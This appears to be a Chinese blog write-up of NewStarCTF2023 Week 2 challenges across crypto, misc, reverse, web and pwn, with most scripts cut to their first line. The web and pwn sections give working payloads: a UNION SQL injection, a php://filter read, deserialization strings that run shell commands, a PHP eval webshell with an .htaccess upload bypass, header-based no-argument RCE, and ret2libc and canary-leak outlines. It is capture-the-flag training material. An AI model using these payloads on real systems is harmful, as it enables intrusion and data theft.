NewStarCTF2023 Week2题解
NewStarCTF2023,或者应该叫OldBirdCTF🤣本文为第二周所有题目的题解,可能与官方wp有出入,请见谅。
Week2
记录一下第二周的短暂登顶
Crypto
partial decrypt
源码如下
1 | from secret import flag |
该题与已知(p,q,dp,dq,c) 求m的题型类似
原理如下
dq:dq ≡ d mod(q - 1)
dp:dp ≡ d mod(p - 1)
由费马小定理:
即
由①式,有:
将③式带入②式,有
将k带入③式,有
故:
exp脚本如下
1 | from Crypto.Util.number import * |
得到flag
Rotate Xor
源码如下
1 | from secret import flag |
由于密文用flag和k1异或,所以需要先求k1
分析encrypt_key
函数
简单的回转加密,每轮将明文回转左移三位,然后与k2异或,一共进行12轮
那么解密倒着来就行
编写exp脚本如下
1 | from pwn import xor |
得到flag
broadcast
源码如下
1 | from secret import flag |
m、e相同,n、c不同,且e比较小,考虑经典的低加密指数广播攻击
编写exp脚本如下
1 | import gmpy2 |
得到flag
halfcandecode
源码如下
1 | from Crypto.Util.number import * |
前一半flag用RSA加密,后一半求每个字符的md5值
同时捕捉到突破口next_prime
函数,一般来说gmpy2计算的下一个素数与上一个之间的差不大,小于1500
那么可以直接开方n,然后遍历得到p和q
编写exp脚本如下
1 | from hashlib import md5 |
得到flag
不止一个pi
源码如下
1 | from flag import flag |
经典的多素数因子题目
信安数基里的重点内容,考虑到会有新手看我的wp,所以列一下原理
脚本如下
1 | from Crypto.Util.number import * |
得到flag
滴啤
源码如下
1 | from flag import flag |
dp泄漏的题
原理如下:
脚本如下
1 | from Crypto.Util.number import long_to_bytes |
得到flag
Misc
永不消逝的电波
音频题先丢Audacity看看波形
大概率摩斯电码
手抄解码一下
转一波小写就得到flag
flag{thebestctferisyou}
新建Word文档
全选后在字体设置里解除隐藏文字
得到密文
新佛曰:毘諸隸僧降吽諸陀摩隸僧缽薩願毘耨咤陀願羅咤喃修願宣亦宣寂叻寂阿是吽阿塞尊劫毘般毘所聞降毘咒塞尊薩咒毘所若降般斯毘嚴毘嚴波斯迦毘色毘波嚴毘喃念若修嘚般毘我毘如毘如囑囑
在线解密
1-序章
首先要理解sql盲注的原理
当注入正确时就会执行sleep()
函数,在日志中的体现就是时间变化
此时会去测试下一位,说明上一条信息测试正确
我们可以把位数变化时的前一条信息筛选出来,并获取每一位的正确ASCII码值
编写脚本如下
1 | from urllib import parse |
得到flag
WebShell的利用
源码如下
1 |
|
可以看出eval函数中的内容嵌套了数层编码
在本地输出解码的运行结果
发现结果仍然是相同的编码结构,虽然变短了
那就多跑几遍
编写如下脚本
1 |
|
最终得到eval中执行的命令
error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);
GET参数作为函数名,POST请求作为执行的指令
base
给这么多行base64,一眼base64隐写
隐写原理是后面补的0用其他数据填充
直接跑脚本
1 | # base64隐写 |
得到一个密文iDMb6ZMnTFMtFuouYZHwPTYAoWjC7Hjca8
丢进cyberchef,得到flag
Jvav
感觉是傅里叶盲水印
使用如下脚本
1 | import cv2 as cv |
脚本不行,看题目名字,可能是用的java编写的工具进行水印加密
无奈只能找工具了
Releases · ww23/BlindWatermark (github.com)
执行命令java -jar BlindWatermark-v0.0.3-windows-x86_64-gpu.jar decode -c challenge.png decode.png
得到水印
Reverse
PZthon
查壳,提示可能是python编写,PyInstaller打包的exe文件
使用pyinstxtractor进行解包
得到PZthon.pyc
文件
使用在线网站python反编译 - 在线工具 (tool.lu)反编译
源码如下
1 | #!/usr/bin/env python |
编写解题脚本
1 | enc = [ |
得到flag
AndroGenshin
拖进jadx,找到主入口
用户名是genshinimpact
,密码使用特殊加密函数,流密码rc4和换表base64
编写脚本如下
1 | import base64 |
得到flag
C?C++?
用ghidra分析一下,发现是C#程序
使用dnSpy反编译得到源码
分析之后发现只有array1、array2和array3与flag相关,感觉有点问题
换成用Reflector反编译
源码如下
1 | private static unsafe void Main(string[] args) |
输入先被放进chArray
接着在一个循环里,每一位输入的字符加上位数再减去空格的ASCII码
第二轮里与str2进行一些处理
编写解题脚本
1 | array = [ |
需要注意的是,数组里有两个小于0的ASCII码,最后转为字符串时需要+256
得到flag
Petals
丢进IDA
main函数源码如下
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
应该是被加了壳
结合题目名,猜测是花指令干扰了IDA
找到花指令,手动清除:将0x00001208
设置为数据类型,还有0x000013B0
成功得到sub_1029
函数
1 | unsigned __int64 __fastcall sub_1209(__int64 a1, unsigned int a2) |
编写exp脚本
1 | import hashlib |
得到flag
SMC
main函数源码如下
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
这里被VirtualProtect修改权限的函数为byte_403040
,猜测其进行SMC加密
跟踪sub_401042函数可以看到加密的过程
编写IDC脚本解密
1 | import idc |
得到正常函数
反编译源码如下
1 | char sub_403040() |
编写解题脚本
此处要注意,由于是小端,每两个字节间要进行换位
1 | c = '827C7B75476F5761255353478425276A27686A67847D357B48357B256A7E7133' |
R4ndom
反编译源码如下
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
发现在调用主函数前还设置了随机数种子0x5377654E
使用以下python脚本获取数组Table的元素
1 | from idaapi import * |
编写如下解题脚本,由于此处是小端存储,所有取s2的元素时需要倒着取
1 | from ctypes import * |
得到flag
easy_enc
打开可执行文件测试一下,得到主函数输出的字符
在IDA里搜索文本,找到主函数
反编译源码如下
1 | __int64 sub_140016070() |
对输入的str进行了4次加密
使用正向爆破
1 | Buf1 = [0xE8,0x80,0X84,8,0X18,0X3C,0X78,0X68,0,0X70,0X7C,0X94,0XC8,0XE0,0X10,0XEC,0XB4,0XAC,0X68,0XA8,0X0C,0X1C,0X90,0XCC,0X54,0X3C,0X14,0XDC,0X30] |
Web
游戏高手
JS代码中找到游戏目标
在本地覆盖js代码,胜利目标改为100,传给后端的分数也改为1000000
得到flagflag{c82f9d84-d2a4-43c1-93bb-39a81cae9c91}
ez_sql
测试TMP11503' and 1=1 -- qwe
发现有回显,说明存在注入点
TMP11503' and 1=1 -- qwe
,显示NO
而TMP11503' AND 1=1 -- qwe
,显示正常
说明对大小写敏感
判断字段数,直到TMP11503' ORDER BY 6 -- qwe
才无回显,说明一共5个字段
页面正好显示5个数据,说明都是数据显示位
开始爆表
-1' UNION SELECT 1,2,3,4,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 1,1 -- QWE
存在一个here_is_flag
表
剩下工作交给sqlmap了
include 0。0
源码如下
1 |
|
过滤了base和rot字符串,即无法使用base64和rot13的编码方式
那就用UCS-2方式
payload为?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
使用burp抓包得到flag的编码
本地编写脚本解码
Unserialize?
反序列化的题目
源码如下
1 |
|
这里的后门在析构函数
如果构造的序列化字符串成功反序列化成一个evil
类的对象,那么在析构函数中的代码将会被执行
先传个ls命令试试:O:4:"evil":1:{s:3:"cmd";s:2:"ls";}
成功执行
题目过滤了cat、tac、more、tail和base
如果flag文件没有干扰内容,那么看前几行足矣,这里使用head
命令
先查看根目录O:4:"evil":1:{s:3:"cmd";s:4:"ls /";}
,找到flag文件th1s_1s_fffflllll4444aaaggggg
执行O:4:"evil":1:{s:3:"cmd";s:35:"head /th1s_1s_fffflllll4444aaaggggg";}
得到flag
Upload again!
上传一个md为后缀,内容为<? eval($_POST['hack']) ?>
发现会被拦截
猜测是对内容有过滤
尝试只传<? ?>
,依旧不行
抓包发现php版本为5.6.40
,考虑用html标签<script language="php">
同时由于对文件格式有过滤,使用.htaccess绕过
成功上传后,用蚁剑连接
根目录下找到flag
R!!C!!E!!
页面中提到泄漏信息
脚本跑一遍备份文件泄漏测试,没有发现泄漏文件
考虑.git
泄漏,使用githacker爬一遍
在COMMIT_EDITMSG
中找到提交修改记录
成功访问源码
1 |
|
前一个正则表达式说明star传的参只能是形如xx(xxx());
典型的无参RCE
此时linux指令基本都失效了,只能考虑通过PHP代码来寻找flag
同时查看目录的readdir和scandir都被过滤了
查看环境变量的get_defined_vars
也被禁用
考虑用getallheaders
代替
发现User-Agent在数组的第二个,将值替换为我们想要执行的linux命令
此时使用next()函数就能取到数组第二个
我们将print_r替换成system便能执行在User-Agent处的命令
执行cd /;cat flag
,得到flag
Pwn
canary
checksec一下
开了Canary
backdoor在0x401266
canary与rbp相差8
buf与rbp相差0x30
则buf与canary相差40
但由于第一次读的时候只读20个字节,想带出Canary行不通
考虑用格式化字符串
canary位于第$(40/8+6)=11$个字节
编写如下exp脚本
1 | from pwn import * |
成功getshell
secret number
和上周的题目相同的解法
使用python的ctypes库在本地模拟
1 | import random |
得到flag
ret2libc
checksec一下,没有开PIE和 canary保护
IDA观察反编译源码,没有发现system和bin/bash
先测一下栈的大小,为40
首先泄露一次got表中puts的地址
要注意这里在read函数之后还有一个puts输出,而栈溢出覆盖的是整个main函数的返回地址,需要等整个函数执行完
所以读取地址时要在接收到'time\n'
之后
1 | from pwn import * |
接下来利用LibcSearcher库来搜寻libc版本,并通过偏移量将puts函数的地址覆盖为system和binsh的地址
1 | libc=LibcSearcher('puts',puts_addr) |
成功getshell
buu